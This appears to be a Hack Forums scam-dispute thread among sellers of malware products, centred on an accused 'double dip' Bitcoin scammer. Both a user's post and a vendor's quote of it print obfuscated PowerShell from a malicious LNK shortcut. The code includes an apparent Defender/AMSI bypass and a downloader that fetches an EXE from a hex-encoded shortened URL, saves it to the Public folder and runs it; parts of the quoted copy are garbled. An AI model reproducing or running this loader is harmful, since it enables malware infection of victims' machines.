

Forum:[Hack Forums](#)

Thread: [uid=4922712 \(Double Dip Attempt - Multiple Times - Multiple User](#)

Ren And Stimpy - January 15, 2021, 7:51 am

Scammer - [aadam](#) (uid=4922712)

User continues to contact us and attempts his double dip BTC scam on our products.

Lucky we always wait for confirmations, so he has NEVER had our product!

Previously he only attempted his double dip on Telegram, this time he did it via HF, but got lucky Nitrix contacted me and warned. Aadam then msg on telegram BEFORE attempting his double dip again and our team noticed his same telegram account and attempted to close contract, but Aadam the scammer already did BOO rating!

He has also attempted it on [Nitrix](#)

*Waiting on support to remove his FALSE (BOO) Rating on the contract, as he never received the product nor PAID!

aadam - January 15, 2021, 7:56 am

He sent me his product after payment. His product doesn't work. it does not bypass Windows Defender.

Also it raises UAC.

Here is source code only posting half unobfuscated because it is long. i have deobfuscated his trash code also.

Proof:

Mlink_Lnk_Shortcut_malware_obfuscated : -----|

1. Lnk_powershell_command:

```
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted
-WindowStyle 1
$oc='KCTSMMGNGEZAHHBSKMICDFGROJGRBULIULPBIHCWUTRABGGXTZNFKLIDIWHBLRG
FNXUNXMXOSCUIBLRJIGVMMRTPTVBSARIBWSFVZZOFHVRSWTBDOEUVKGLSSVSKQVVB
MNYESUGZWLXRFVBHJMJNAZJAUAEALAXVGOOLXNMLQGAACZOMVBWNWJANUIYWPKIKP
ZRQCDCHHFHIVWCUDXAHDKBKSUQUWJVRHIFKZGCUOEHLEWIULAWNDXNZYHHYI';function
iexqggwq($ji){$og=[Text.StringBuilder]::New();$ys=12;for($ll=0;$ll -lt
$ji.Length;$ll+=2){$xz=-join($ji.Substring($ll,2)[1,0]);[void]$og.Append([char]([System.Convert]::ToU
Int16($xz,16)+$ys));;return $og.ToString();;$bj=iexqggwq
'74D6768695162214552655B595169526862253968636165586D5362622531676D59486D50676';$
rc=iexqggwq '551676D5D326D586A355D5069585';$ox=iexqggwq
```

```
'24362644966506D5750274865586D575';try{[Ref].Assembly.GetType($bj).GetField($src,$ox).SetValue($Null,$True)}catch{};;$df='TYEHSSRHTLUTJNDMCADS';sal wta ($df[15,4,3,0,17]-join("));$hj=iexqggwq 'C586864676E23232063626B52255A5329646D6867506';wta $hj;
```

2. Hta_payload_vbscript_embedded:

3: Powershell_command_executed_by_Hta_payload:

```
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted
$fqargbui = $Null;function ojkueuuj($xgszbg){return -join($xgszbg-split'..')'?
L*h|%{[char]+'(0x'+$_)};function kpcsnhj($dfkysgm, $fvsijlpt){$qajme = @('TLS12', 'TLS11', 'TLS',
'SSL3');$icfxfa = $env:PUBLIC+(ojkueuuj('5C'))+$fvsijlpt;$acksIn = New-Object
(ojkueuuj('4E65742E576562436C69656E74'));foreach($vhwepne in
$qajme){try{[Net.ServicePointManager]::SecurityProtocol =
[Net.SecurityProtocolType]::$vhwepne;$clasnyj =
$acksIn.DownloadData($dfkysgm);break;}catch{};};[IO.File]::WriteAllBytes($icfxfa,
$clasnyj);Start-Process -FilePath $icfxfa -PassThru;$dfkysgm = ojkueuuj('DECOY_URL');$fvsijlpt =
Split-Path $dfkysgm -Leaf;kpcsnhj $dfkysgm $fvsijlpt;$dfkysgm =
ojkueuuj('687474703A2F2F6269742E646F2F664D6D4C73');$fvsijlpt =
ojkueuuj('664D6D4C732E657865');$icfxfa = $env:PUBLIC+(ojkueuuj('5C'))+$fvsijlpt; kpcsnhj
$dfkysgm $fvsijlpt;
```

Ren And Stimpy - January 15, 2021, 8:01 am

(Jan 15, 2021 08:56 AM)aadam Wrote: [CITE](#) He sent me his product after payment. His product oesn't work. it does not bypass Windows Defender.

Also it raises UAC.

Here is source code only posting half unobfuscated because it is long. i have deobfuscated his trash code also.

Proof:

Mlink_Lnk_Shortcut_malware_obfuscated : -----|

1. Lnk_powershell_command:

```
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted
-WindowStyle 1
$oc='KCTSMMGNGEZAHHBKMICDFGROJGRBULIULPBIHCWUTRABGGXTZNFKLIDIWHBLRG
FNXUNXMOSCUIBLRJIGVMMRTPTVBSARIBWSFVZZOFHVRSWTBD OEUVKGLSSVSKQVVB
MNYESUGZWLXRFVBHJMJNAZJAU AELAXVGOOLXNMLQGAACZOMVBWNWJANUIYWPKIKP
ZRQCDCHHFHIVWCUDXAHDKB CSUQUWJVRHIFKZGCUEOHLEWIULAWNDXNZYHHYI';functio
n iexqggwq($ji){$og=[Text.StringBuilder]::New();$ys=12;for($ll=0;$ll -lt
$ji.Length;$ll+=2){$xz=-join($ji.Substring($ll,2)[1,0]);[void]$og.Append([char]([System.Convert]::ToUI
nt16($xz,16)+$ys));};return $og.ToString();};$bj=iexqggwq
'74D6768695162214552655B595169526862253968636165586D5362622531676D59486D50676';$
rc=iexqggwq '551676D5D326D586A355D5069585';$ox=iexqggwq
'24362644966506D5750274865586D575';try{[Ref].Assembly.GetType($bj).GetField($src,$ox).SetVal
ue($Null,$True)}catch{};;$df='TYEHSSRHTLUTJNDMCADS';sal wta ($df[15,4,3,0,17]
-join("));$hj=iexqggwq 'C586864676E23232063626B52255A5329646D6867506';wta $hj;
```

2. Hta_payload_vbscript_embedded:

3: Powershell_command_executed_by_Hta_payload:

```
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted
$fqargbui = $Null;function ojkueuu($xgszbg){return -join($xgszbg-split'..')?
L*h|}%{[char]+'(0x'+$_)};function kpcsnhj($dfkysgm, $fvsijlpt){$qajme = @('TLS12', 'TLS11', 'TLS',
'SSL3');$icfxfa = $env:PUBLIC+(ojkueuu('5C'))+$fvsijlpt;$acksIn = New-Object
(ojkueuu('4E65742E576562436C69656E74'));foreach($vhwepne in
$qajme){try{[Net.ServicePointManager]::SecurityProtocol =
[Net.SecurityProtocolType]::$vhwepne;$clasnyj =
$acksIn.DownloadData($dfkysgm);break;}catch{}};[IO.File]::WriteAllBytes($icfxfa,
$clasnyj);Start-Process -FilePath $icfxfa -PassThru;$dfkysgm = ojkueuu('DECOY_URL');$fvsijlpt =
Split-Path $dfkysgm -Leaf;kpcsnhj $dfkysgm $fvsijlpt;$dfkysgm =
ojkueuu('687474703A2F2F6269742E646F2F664D6D4C73');$fvsijlpt =
ojkueuu('664D6D4C732E657865');$icfxfa = $env:PUBLIC+(ojkueuu('5C'))+$fvsijlpt; kpcsnhj
$dfkysgm $fvsijlpt;
100% FALSE! Post the TAX ID to the wallet i sent you then! There isnt one!
```

That is not even our code! User clearly CONFIRMED how bad of a scammer he really is!

mLNK bypass's WD with no issue. LOL This scammer is a JOKE! Thanks for the lolz

Enjoy the ban bud!

Nitrix - January 15, 2021, 8:09 am

User tried to scam me too with double dip thing.

I removed his licence after the blockchain was marked as invalid.

Blockchain :

<https://www.blockchain.com/btc/tx/e635d55482d507263ad3056b4ef2d02e4e688d645e91074e7bdb59ca565160fb>

Do NOT deal with this user.

OSJEK - January 15, 2021, 8:26 am

User (aadam) tried to scam me with selling me leads. Will not provide any proof and says that if we use 'Contract' Its 100% safe and there's no way to scam. Filled with poor manipulation tactics to try to scam.

Super low quality user and definitely be skeptical of any business with aadam.

Ren And Stimpy - January 15, 2021, 8:55 am

(Jan 15, 2021 09:26 AM)OSJEK Wrote: [CITE](#) User (aadam) tried to scam me with selling me leads. Will not provide any proof and says that if we use 'Contract' Its 100% safe and there's no way to scam. Filled with poor manipulation tactics to try to scam.

Super low quality user and definitely be skeptical of any business with aadam.

Damn, mate he on a scamming spree (well attempting)

Ren And Stimpy - January 18, 2021, 6:40 am

Wow! Ridiculous. Still have a FAKE NEG Contract and user is still not ban...

Smh

Ren And Stimpy - January 18, 2021, 7:16 am

(Jan 18, 2021 07:43 AM)Red Sox Wrote: [\[CITE\]](#) At least you posting this thread will let people see how he is.

Sorry this happened, bud.

Yes, true. just hope IF he attempts to scam again, people will notice he is a scammer!

Stanley - January 19, 2021, 11:46 am

I'm Stanley HF's helper bot. This OP (original poster) of this thread wants everyone to see this page and has elected to bump it to the top of the showthread listing. Since HF doesn't want a ton of LQP (Low Quality Posts) this is the best method of bumping your content. There is a small ?yte fee for each bump. Any OP can bump any of their threads on HF from the linked icon on the top of their first post.

If you haven't already read the first post of this thread we encourage you to do so.

Thanks,
Stanley

Artisan - January 19, 2021, 12:05 pm

(Jan 18, 2021 07:40 AM)Ren And Stimpy Wrote: [\[CITE\]](#) Wow! Ridiculous. Still have a FAKE NEG Contract and user is still not ban...

Smh

Apply for Vendor, when you get approved, pay for the upgrade and request for the false ratings to be removed and there is a possibility that they might be reviewed case by case and removed.

Ren And Stimpy - January 19, 2021, 12:07 pm

(Jan 19, 2021 01:05 PM)Artisan Wrote: [\[CITE\]](#) Apply for Vendor, when you get approved, pay for the upgrade and request for the false ratings to be removed and there is a possibility that they might be reviewed case by case and removed.

Ahhhhh I did not know that. Going to do that! Still just warning everyone else so they don't get scammed!

Artisan - January 19, 2021, 12:10 pm

(Jan 19, 2021 01:07 PM)Ren And Stimpy Wrote: [\[CITE\]](#) Ahhhh I did not know that. Going to do that! Still just warning everyone else so they don't get scammed!

I suggest applying in a professional manner and also using the contact form (in the footer) to contact Omni. He usually responds in a day or two.

Dopamine - January 19, 2021, 12:25 pm

(Jan 19, 2021 01:10 PM)Artisan Wrote: [\[CITE\]](#) I suggest applying in a professional manner and also using the contact form (in the footer) to contact Omni. He usually responds in a day or two.

False

For applying, go on <https://hackforums.net/vendorapply.php>

Artisan - January 19, 2021, 12:28 pm

(Jan 19, 2021 01:25 PM)Dopamine Wrote: [\[CITE\]](#) False

For applying, go on <https://hackforums.net/vendorapply.php>

I didnt imply applying for vendor using the contact form. I implied contacting Omni using it. ?

Dopamine - January 19, 2021, 12:31 pm

(Jan 19, 2021 01:28 PM)Artisan Wrote: [\[CITE\]](#) I didnt imply applying for vendor using the contact form. I implied contacting Omni using it. ?

it's probably how your formatted your sentence because this is how I've understood it ?

Btw there's a subforum for Vendors and Omni posted a thread explaining what to do for what you've said (false b-rating report)